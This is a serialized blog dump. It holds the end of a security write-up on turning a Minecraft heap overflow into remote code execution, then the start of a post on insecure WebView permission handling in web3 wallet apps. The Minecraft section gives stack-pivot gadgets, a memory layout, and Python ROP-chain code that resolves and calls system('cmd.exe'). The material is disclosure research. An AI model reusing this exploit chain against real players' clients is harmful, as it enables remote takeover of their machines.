",{"type":23,"tag":37,"props":155477,"children":155479},{"className":155478},[],[155480],{"type":28,"value":155481},"mov rsp, rax; ret",{"type":28,"value":155483},"-style gadget.",{"type":23,"tag":24,"props":155485,"children":155486},{},[155487,155489,155494,155496,155501],{"type":28,"value":155488},"Although we discovered that ",{"type":23,"tag":37,"props":155490,"children":155492},{"className":155491},[],[155493],{"type":28,"value":155323},{"type":28,"value":155495}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":37,"props":155497,"children":155499},{"className":155498},[],[155500],{"type":28,"value":155299},{"type":28,"value":155502}," callbacks.",{"type":23,"tag":18881,"props":155504,"children":155506},{"id":155505},"stack-pivot",[155507],{"type":28,"value":155508},"Stack Pivot",{"type":23,"tag":24,"props":155510,"children":155511},{},[155512,155514,155519,155521,155526,155528,155533,155535,155541],{"type":28,"value":155513},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":37,"props":155515,"children":155517},{"className":155516},[],[155518],{"type":28,"value":155127},{"type":28,"value":155520},", overwrite ",{"type":23,"tag":37,"props":155522,"children":155524},{"className":155523},[],[155525],{"type":28,"value":155365},{"type":28,"value":155527}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":37,"props":155529,"children":155531},{"className":155530},[],[155532],{"type":28,"value":155323},{"type":28,"value":155534},". This ultimately calls ",{"type":23,"tag":37,"props":155536,"children":155538},{"className":155537},[],[155539],{"type":28,"value":155540},"default_ec_key_meth->init",{"type":28,"value":155542},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":155544,"children":155545},{},[155546,155548,155554,155556,155562],{"type":28,"value":155547},"We chose to overwrite the ",{"type":23,"tag":37,"props":155549,"children":155551},{"className":155550},[],[155552],{"type":28,"value":155553},"OPENSSL_free",{"type":28,"value":155555}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":37,"props":155557,"children":155559},{"className":155558},[],[155560],{"type":28,"value":155561},"OPENSSL_malloc",{"type":28,"value":155563}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":155565,"children":155566},{},[155567,155569,155575,155576,155582,155584,155589],{"type":28,"value":155568},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":37,"props":155570,"children":155572},{"className":155571},[],[155573],{"type":28,"value":155574},"add rsp, 0x10; pop r14; ret",{"type":28,"value":1361},{"type":23,"tag":37,"props":155577,"children":155579},{"className":155578},[],[155580],{"type":28,"value":155581},"xchg rsp, rax; ret",{"type":28,"value":155583},". The exploit writes them into ",{"type":23,"tag":37,"props":155585,"children":155587},{"className":155586},[],[155588],{"type":28,"value":155127},{"type":28,"value":155590}," like this:",{"type":23,"tag":31,"props":155592,"children":155594},{"code":155593},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[155595],{"type":23,"tag":37,"props":155596,"children":155597},{"__ignoreMap":7},[155598],{"type":28,"value":155593},{"type":23,"tag":24,"props":155600,"children":155601},{},[155602,155604,155609,155611,155616,155618,155623,155625,155630,155632,155637,155639,155644,155646,155651],{"type":28,"value":155603},"The second gadget, ",{"type":23,"tag":37,"props":155605,"children":155607},{"className":155606},[],[155608],{"type":28,"value":155581},{"type":28,"value":155610},", is placed in the slot corresponding to the ",{"type":23,"tag":37,"props":155612,"children":155614},{"className":155613},[],[155615],{"type":28,"value":20727},{"type":28,"value":155617}," function pointer. As mentioned earlier, when ",{"type":23,"tag":37,"props":155619,"children":155621},{"className":155620},[],[155622],{"type":28,"value":155380},{"type":28,"value":155624}," is called, ",{"type":23,"tag":37,"props":155626,"children":155628},{"className":155627},[],[155629],{"type":28,"value":56770},{"type":28,"value":155631}," contains a pointer to ",{"type":23,"tag":37,"props":155633,"children":155635},{"className":155634},[],[155636],{"type":28,"value":155365},{"type":28,"value":155638}," - which we have overwritten and now points to our ",{"type":23,"tag":37,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":28,"value":155574},{"type":28,"value":155645}," gadget in ",{"type":23,"tag":37,"props":155647,"children":155649},{"className":155648},[],[155650],{"type":28,"value":155127},{"type":28,"value":706},{"type":23,"tag":24,"props":155653,"children":155654},{},[155655,155657,155663,155665,155670,155672,155678,155680,155685,155687,155692,155694,155699,155701,155706,155708,155713,155715,155720],{"type":28,"value":155656},"When the call occurs, ",{"type":23,"tag":37,"props":155658,"children":155660},{"className":155659},[],[155661],{"type":28,"value":155662},"xchg rsp, rax",{"type":28,"value":155664}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":37,"props":155666,"children":155668},{"className":155667},[],[155669],{"type":28,"value":155127},{"type":28,"value":155671},", effectively moving ",{"type":23,"tag":37,"props":155673,"children":155675},{"className":155674},[],[155676],{"type":28,"value":155677},"rsp",{"type":28,"value":155679}," into our ROP region. After the ",{"type":23,"tag":37,"props":155681,"children":155683},{"className":155682},[],[155684],{"type":28,"value":10987},{"type":28,"value":155686},", execution continues at ",{"type":23,"tag":37,"props":155688,"children":155690},{"className":155689},[],[155691],{"type":28,"value":155574},{"type":28,"value":155693},", which advances ",{"type":23,"tag":37,"props":155695,"children":155697},{"className":155696},[],[155698],{"type":28,"value":155677},{"type":28,"value":155700}," by ",{"type":23,"tag":37,"props":155702,"children":155704},{"className":155703},[],[155705],{"type":28,"value":44528},{"type":28,"value":155707}," bytes, skipping over the padding and the ",{"type":23,"tag":37,"props":155709,"children":155711},{"className":155710},[],[155712],{"type":28,"value":155581},{"type":28,"value":155714}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":37,"props":155716,"children":155718},{"className":155717},[],[155719],{"type":28,"value":155581},{"type":28,"value":155721},") begins executing.",{"type":23,"tag":546,"props":155723,"children":155725},{"id":155724},"rop-chain",[155726],{"type":28,"value":155727},"ROP Chain",{"type":23,"tag":24,"props":155729,"children":155730},{},[155731,155733,155739,155741,155746],{"type":28,"value":155732},"For the demo, the ROP chain simply calls ",{"type":23,"tag":37,"props":155734,"children":155736},{"className":155735},[],[155737],{"type":28,"value":155738},"system(\"cmd.exe\")",{"type":28,"value":155740},". Because Minecraft does not use ",{"type":23,"tag":37,"props":155742,"children":155744},{"className":155743},[],[155745],{"type":28,"value":131470},{"type":28,"value":155747},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":155749,"children":155750},{},[155751,155753,155759,155761,155767,155769,155774,155776,155782,155784,155789],{"type":28,"value":155752},"This is straightforward: the chain first calls ",{"type":23,"tag":37,"props":155754,"children":155756},{"className":155755},[],[155757],{"type":28,"value":155758},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":155760}," to obtain the base address of ",{"type":23,"tag":37,"props":155762,"children":155764},{"className":155763},[],[155765],{"type":28,"value":155766},"ucrtbase.dll",{"type":28,"value":155768}," (which exports ",{"type":23,"tag":37,"props":155770,"children":155772},{"className":155771},[],[155773],{"type":28,"value":131470},{"type":28,"value":155775},"). It then calls ",{"type":23,"tag":37,"props":155777,"children":155779},{"className":155778},[],[155780],{"type":28,"value":155781},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":155783}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":37,"props":155785,"children":155787},{"className":155786},[],[155788],{"type":28,"value":131470},{"type":28,"value":155790}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":155792,"children":155793},{},[155794],{"type":28,"value":155795},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":31,"props":155797,"children":155799},{"code":155798,"language":19448,"meta":7,"className":19449,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[155800],{"type":23,"tag":37,"props":155801,"children":155802},{"__ignoreMap":7},[155803,155811,155819,155844,155852,155860,155867,155875,155883,155910,155923,155936,155957,155986,156015,156022,156030,156043,156051,156087,156095,156102,156110,156117,156142,156153,156165],{"type":23,"tag":41,"props":155804,"children":155805},{"class":43,"line":44},[155806],{"type":23,"tag":41,"props":155807,"children":155808},{"style":48},[155809],{"type":28,"value":155810},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":41,"props":155812,"children":155813},{"class":43,"line":54},[155814],{"type":23,"tag":41,"props":155815,"children":155816},{"style":70},[155817],{"type":28,"value":155818},"rop.gadget(pop_r8)\n",{"type":23,"tag":41,"props":155820,"children":155821},{"class":43,"line":76},[155822,155827,155831,155836,155840],{"type":23,"tag":41,"props":155823,"children":155824},{"style":70},[155825],{"type":28,"value":155826},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":41,"props":155828,"children":155829},{"style":170},[155830],{"type":28,"value":4329},{"type":23,"tag":41,"props":155832,"children":155833},{"style":64},[155834],{"type":28,"value":155835}," 0x",{"type":23,"tag":41,"props":155837,"children":155838},{"style":164},[155839],{"type":28,"value":134587},{"type":23,"tag":41,"props":155841,"children":155842},{"style":70},[155843],{"type":28,"value":1969},{"type":23,"tag":41,"props":155845,"children":155846},{"class":43,"line":85},[155847],{"type":23,"tag":41,"props":155848,"children":155849},{"style":48},[155850],{"type":28,"value":155851},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":41,"props":155853,"children":155854},{"class":43,"line":105},[155855],{"type":23,"tag":41,"props":155856,"children":155857},{"style":70},[155858],{"type":28,"value":155859},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":41,"props":155861,"children":155862},{"class":43,"line":155},[155863],{"type":23,"tag":41,"props":155864,"children":155865},{"emptyLinePlaceholder":18},[155866],{"type":28,"value":82},{"type":23,"tag":41,"props":155868,"children":155869},{"class":43,"line":186},[155870],{"type":23,"tag":41,"props":155871,"children":155872},{"style":48},[155873],{"type":28,"value":155874},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":41,"props":155876,"children":155877},{"class":43,"line":195},[155878],{"type":23,"tag":41,"props":155879,"children":155880},{"style":70},[155881],{"type":28,"value":155882},"rop.gadget(pop_rcx)\n",{"type":23,"tag":41,"props":155884,"children":155885},{"class":43,"line":905},[155886,155891,155896,155901,155905],{"type":23,"tag":41,"props":155887,"children":155888},{"style":70},[155889],{"type":28,"value":155890},"rop.gadget(",{"type":23,"tag":41,"props":155892,"children":155893},{"style":64},[155894],{"type":28,"value":155895},"0x",{"type":23,"tag":41,"props":155897,"children":155898},{"style":164},[155899],{"type":28,"value":155900},"7468B68",{"type":23,"tag":41,"props":155902,"children":155903},{"style":70},[155904],{"type":28,"value":866},{"type":23,"tag":41,"props":155906,"children":155907},{"style":48},[155908],{"type":28,"value":155909},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":41,"props":155911,"children":155912},{"class":43,"line":922},[155913,155918],{"type":23,"tag":41,"props":155914,"children":155915},{"style":70},[155916],{"type":28,"value":155917},"rop.gadget(ret) ",{"type":23,"tag":41,"props":155919,"children":155920},{"style":48},[155921],{"type":28,"value":155922},"# movaps alignment\n",{"type":23,"tag":41,"props":155924,"children":155925},{"class":43,"line":930},[155926,155931],{"type":23,"tag":41,"props":155927,"children":155928},{"style":70},[155929],{"type":28,"value":155930},"rop.gadget(push_rax_ret) ",{"type":23,"tag":41,"props":155932,"children":155933},{"style":48},[155934],{"type":28,"value":155935},"# calls `GetModuleHandle`\n",{"type":23,"tag":41,"props":155937,"children":155938},{"class":43,"line":939},[155939,155944,155948,155953],{"type":23,"tag":41,"props":155940,"children":155941},{"style":70},[155942],{"type":28,"value":155943},"rop.literal(u64(",{"type":23,"tag":41,"props":155945,"children":155946},{"style":64},[155947],{"type":28,"value":3222},{"type":23,"tag":41,"props":155949,"children":155950},{"style":735},[155951],{"type":28,"value":155952},"\"ucrtbase\"",{"type":23,"tag":41,"props":155954,"children":155955},{"style":70},[155956],{"type":28,"value":19700},{"type":23,"tag":41,"props":155958,"children":155959},{"class":43,"line":947},[155960,155964,155968,155973,155978,155982],{"type":23,"tag":41,"props":155961,"children":155962},{"style":70},[155963],{"type":28,"value":155943},{"type":23,"tag":41,"props":155965,"children":155966},{"style":64},[155967],{"type":28,"value":3222},{"type":23,"tag":41,"props":155969,"children":155970},{"style":735},[155971],{"type":28,"value":155972},"\".dll",{"type":23,"tag":41,"props":155974,"children":155975},{"style":48367},[155976],{"type":28,"value":155977},"\\x00\\x00\\x00\\x00",{"type":23,"tag":41,"props":155979,"children":155980},{"style":735},[155981],{"type":28,"value":20048},{"type":23,"tag":41,"props":155983,"children":155984},{"style":70},[155985],{"type":28,"value":19700},{"type":23,"tag":41,"props":155987,"children":155988},{"class":43,"line":985},[155989,155993,155997,156002,156007,156011],{"type":23,"tag":41,"props":155990,"children":155991},{"style":70},[155992],{"type":28,"value":155943},{"type":23,"tag":41,"props":155994,"children":155995},{"style":64},[155996],{"type":28,"value":3222},{"type":23,"tag":41,"props":155998,"children":155999},{"style":735},[156000],{"type":28,"value":156001},"\"system",{"type":23,"tag":41,"props":156003,"children":156004},{"style":48367},[156005],{"type":28,"value":156006},"\\x00\\x00",{"type":23,"tag":41,"props":156008,"children":156009},{"style":735},[156010],{"type":28,"value":20048},{"type":23,"tag":41,"props":156012,"children":156013},{"style":70},[156014],{"type":28,"value":19700},{"type":23,"tag":41,"props":156016,"children":156017},{"class":43,"line":1058},[156018],{"type":23,"tag":41,"props":156019,"children":156020},{"emptyLinePlaceholder":18},[156021],{"type":28,"value":82},{"type":23,"tag":41,"props":156023,"children":156024},{"class":43,"line":1084},[156025],{"type":23,"tag":41,"props":156026,"children":156027},{"style":48},[156028],{"type":28,"value":156029},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":41,"props":156031,"children":156032},{"class":43,"line":1102},[156033,156038],{"type":23,"tag":41,"props":156034,"children":156035},{"style":70},[156036],{"type":28,"value":156037},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":41,"props":156039,"children":156040},{"style":48},[156041],{"type":28,"value":156042},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":41,"props":156044,"children":156045},{"class":43,"line":1110},[156046],{"type":23,"tag":41,"props":156047,"children":156048},{"style":70},[156049],{"type":28,"value":156050},"rop.gadget(pop_rdx)\n",{"type":23,"tag":41,"props":156052,"children":156053},{"class":43,"line":1118},[156054,156058,156062,156066,156070,156074,156078,156082],{"type":23,"tag":41,"props":156055,"children":156056},{"style":70},[156057],{"type":28,"value":155890},{"type":23,"tag":41,"props":156059,"children":156060},{"style":64},[156061],{"type":28,"value":155895},{"type":23,"tag":41,"props":156063,"children":156064},{"style":164},[156065],{"type":28,"value":155900},{"type":23,"tag":41,"props":156067,"children":156068},{"style":170},[156069],{"type":28,"value":8901},{"type":23,"tag":41,"props":156071,"children":156072},{"style":64},[156073],{"type":28,"value":155835},{"type":23,"tag":41,"props":156075,"children":156076},{"style":164},[156077],{"type":28,"value":89247},{"type":23,"tag":41,"props":156079,"children":156080},{"style":70},[156081],{"type":28,"value":866},{"type":23,"tag":41,"props":156083,"children":156084},{"style":48},[156085],{"type":28,"value":156086},"# offset of \"system\" string\n",{"type":23,"tag":41,"props":156088,"children":156089},{"class":43,"line":1137},[156090],{"type":23,"tag":41,"props":156091,"children":156092},{"style":70},[156093],{"type":28,"value":156094},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":41,"props":156096,"children":156097},{"class":43,"line":1163},[156098],{"type":23,"tag":41,"props":156099,"children":156100},{"emptyLinePlaceholder":18},[156101],{"type":28,"value":82},{"type":23,"tag":41,"props":156103,"children":156104},{"class":43,"line":1188},[156105],{"type":23,"tag":41,"props":156106,"children":156107},{"style":48},[156108],{"type":28,"value":156109},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":41,"props":156111,"children":156112},{"class":43,"line":1979},[156113],{"type":23,"tag":41,"props":156114,"children":156115},{"style":70},[156116],{"type":28,"value":155882},{"type":23,"tag":41,"props":156118,"children":156119},{"class":43,"line":2002},[156120,156124,156128,156133,156137],{"type":23,"tag":41,"props":156121,"children":156122},{"style":70},[156123],{"type":28,"value":155890},{"type":23,"tag":41,"props":156125,"children":156126},{"style":64},[156127],{"type":28,"value":155895},{"type":23,"tag":41,"props":156129,"children":156130},{"style":164},[156131],{"type":28,"value":156132},"7468DB8",{"type":23,"tag":41,"props":156134,"children":156135},{"style":70},[156136],{"type":28,"value":866},{"type":23,"tag":41,"props":156138,"children":156139},{"style":48},[156140],{"type":28,"value":156141},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":41,"props":156143,"children":156144},{"class":43,"line":3835},[156145,156149],{"type":23,"tag":41,"props":156146,"children":156147},{"style":70},[156148],{"type":28,"value":155917},{"type":23,"tag":41,"props":156150,"children":156151},{"style":48},[156152],{"type":28,"value":155922},{"type":23,"tag":41,"props":156154,"children":156155},{"class":43,"line":3895},[156156,156160],{"type":23,"tag":41,"props":156157,"children":156158},{"style":70},[156159],{"type":28,"value":155930},{"type":23,"tag":41,"props":156161,"children":156162},{"style":48},[156163],{"type":28,"value":156164},"# calls `system`\n",{"type":23,"tag":41,"props":156166,"children":156167},{"class":43,"line":9044},[156168,156172,156176,156181,156186,156190],{"type":23,"tag":41,"props":156169,"children":156170},{"style":70},[156171],{"type":28,"value":155943},{"type":23,"tag":41,"props":156173,"children":156174},{"style":64},[156175],{"type":28,"value":3222},{"type":23,"tag":41,"props":156177,"children":156178},{"style":735},[156179],{"type":28,"value":156180},"\"cmd.exe",{"type":23,"tag":41,"props":156182,"children":156183},{"style":48367},[156184],{"type":28,"value":156185},"\\x00",{"type":23,"tag":41,"props":156187,"children":156188},{"style":735},[156189],{"type":28,"value":20048},{"type":23,"tag":41,"props":156191,"children":156192},{"style":70},[156193],{"type":28,"value":19700},{"type":23,"tag":546,"props":156195,"children":156197},{"id":156196},"demo",[156198],{"type":28,"value":156199},"Demo",{"type":23,"tag":24,"props":156201,"children":156202},{},[156203],{"type":28,"value":156204},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":131576,"props":156206,"children":156209},{"className":156207,"controls":18},[141543,156208],"blog-video-wide",[156210,156211,156215],{"type":28,"value":141546},{"type":23,"tag":140782,"props":156212,"children":156214},{"src":156213,"type":131574},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":141552},{"type":23,"tag":446,"props":156217,"children":156218},{"id":2811},[156219],{"type":28,"value":2814},{"type":23,"tag":24,"props":156221,"children":156222},{},[156223],{"type":28,"value":156224},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":156226,"children":156227},{},[156228],{"type":28,"value":156229},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":156231,"children":156232},{},[156233],{"type":28,"value":156234},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":2843,"props":156236,"children":156237},{},[156238],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":156240},[156241,156245,156250,156261],{"id":146901,"depth":54,"text":146904,"children":156242},[156243,156244],{"id":146936,"depth":76,"text":146939},{"id":146952,"depth":76,"text":146955},{"id":146973,"depth":54,"text":146976,"children":156246},[156247,156248,156249],{"id":146989,"depth":76,"text":146992},{"id":147077,"depth":76,"text":147080},{"id":149377,"depth":76,"text":149380},{"id":5418,"depth":54,"text":5421,"children":156251},[156252,156253,156254,156255,156256,156257,156258,156259,156260],{"id":149484,"depth":76,"text":149487},{"id":149509,"depth":76,"text":149512},{"id":149646,"depth":76,"text":149649},{"id":151810,"depth":76,"text":151813},{"id":152172,"depth":76,"text":152175},{"id":152992,"depth":76,"text":152995},{"id":155106,"depth":76,"text":155109},{"id":155724,"depth":76,"text":155727},{"id":156196,"depth":76,"text":156199},{"id":2811,"depth":54,"text":2814},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":156266,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156267,"description":156268,"date":156269,"author":156270,"image":156272,"isFeatured":18,"onBlogPage":18,"tags":156274,"body":156276,"_type":2864,"_id":158599,"_source":2866,"_file":158600,"_stem":158601,"_extension":2869},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[31195,31194,156271],"nikolaos",{"src":156273,"width":96986,"height":13},"/posts/insecure-webview-integrations/title.png",[32135,131682,156275],"webview",{"type":20,"children":156277,"toc":158586},[156278,156283,156288,156294,156299,156304,156309,156315,156320,156326,156348,156361,156381,156395,156401,156415,156423,156428,156434,156439,156448,156469,156613,156618,156624,156629,156634,156648,156652,156657,156675,158103,158107,158112,158124,158133,158138,158144,158166,158174,158179,158185,158190,158208,158213,158219,158232,158514,158542,158555,158560,158573,158577,158582],{"type":23,"tag":24,"props":156279,"children":156280},{},[156281],{"type":28,"value":156282},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":156284,"children":156285},{},[156286],{"type":28,"value":156287},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":35367,"props":156289,"children":156291},{"id":156290},"exploiting-mobile-webviews",[156292],{"type":28,"value":156293},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":156295,"children":156296},{},[156297],{"type":28,"value":156298},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":156300,"children":156301},{},[156302],{"type":28,"value":156303},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":156305,"children":156306},{},[156307],{"type":28,"value":156308},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":446,"props":156310,"children":156312},{"id":156311},"handling-webview-permissions",[156313],{"type":28,"value":156314},"Handling WebView permissions",{"type":23,"tag":24,"props":156316,"children":156317},{},[156318],{"type":28,"value":156319},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":546,"props":156321,"children":156323},{"id":156322},"android",[156324],{"type":28,"value":156325},"Android",{"type":23,"tag":24,"props":156327,"children":156328},{},[156329,156331,156338,156340,156346],{"type":28,"value":156330},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":458,"props":156332,"children":156335},{"href":156333,"rel":156334},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[462],[156336],{"type":28,"value":156337},"onPermissionRequest",{"type":28,"value":156339},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":37,"props":156341,"children":156343},{"className":156342},[],[156344],{"type":28,"value":156345},"PermissionRequest",{"type":28,"value":156347}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":518,"props":156349,"children":156350},{},[156351],{"type":23,"tag":24,"props":156352,"children":156353},{},[156354,156356,156359],{"type":28,"value":156355},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":41,"props":156357,"children":156358},{},[],{"type":28,"value":156360},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":156362,"children":156363},{},[156364,156366,156372,156374,156380],{"type":28,"value":156365},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":37,"props":156367,"children":156369},{"className":156368},[],[156370],{"type":28,"value":156371},"getOrigin()",{"type":28,"value":156373}," and the requested permissions with ",{"type":23,"tag":37,"props":156375,"children":156377},{"className":156376},[],[156378],{"type":28,"value":156379},"getResources()",{"type":28,"value":706},{"type":23,"tag":24,"props":156382,"children":156383},{},[156384,156386,156393],{"type":28,"value":156385},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":458,"props":156387,"children":156390},{"href":156388,"rel":156389},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[462],[156391],{"type":28,"value":156392},"webview_shell",{"type":28,"value":156394},". In this instance, no origin checks are performed.",{"type":23,"tag":546,"props":156396,"children":156398},{"id":156397},"ios",[156399],{"type":28,"value":156400},"iOS",{"type":23,"tag":24,"props":156402,"children":156403},{},[156404,156406,156413],{"type":28,"value":156405},"On the contrary, iOS ",{"type":23,"tag":458,"props":156407,"children":156410},{"href":156408,"rel":156409},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[462],[156411],{"type":28,"value":156412},"documentation",{"type":28,"value":156414}," states that:",{"type":23,"tag":518,"props":156416,"children":156417},{},[156418],{"type":23,"tag":24,"props":156419,"children":156420},{},[156421],{"type":28,"value":156422},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":156424,"children":156425},{},[156426],{"type":28,"value":156427},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":446,"props":156429,"children":156431},{"id":156430},"the-shortcomings-of-webview-implementations",[156432],{"type":28,"value":156433},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":156435,"children":156436},{},[156437],{"type":28,"value":156438},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":31340,"props":156440,"children":156441},{"style":31342},[156442],{"type":23,"tag":3918,"props":156443,"children":156447},{"src":156444,"alt":156445,"style":156446},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":156449,"children":156450},{},[156451,156453,156459,156461,156467],{"type":28,"value":156452},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":37,"props":156454,"children":156456},{"className":156455},[],[156457],{"type":28,"value":156458},"react-native-webview",{"type":28,"value":156460},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":458,"props":156462,"children":156465},{"href":156463,"rel":156464},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[462],[156466],{"type":28,"value":156337},{"type":28,"value":156468}," method, we see a similar pattern.",{"type":23,"tag":31,"props":156470,"children":156474},{"className":156471,"code":156472,"language":156473,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[156475],{"type":23,"tag":37,"props":156476,"children":156477},{"__ignoreMap":7},[156478,156486,156515,156575,156595,156606],{"type":23,"tag":41,"props":156479,"children":156480},{"class":43,"line":44},[156481],{"type":23,"tag":41,"props":156482,"children":156483},{"style":48},[156484],{"type":28,"value":156485},"// If all the permissions are already granted, send the response to the WebView 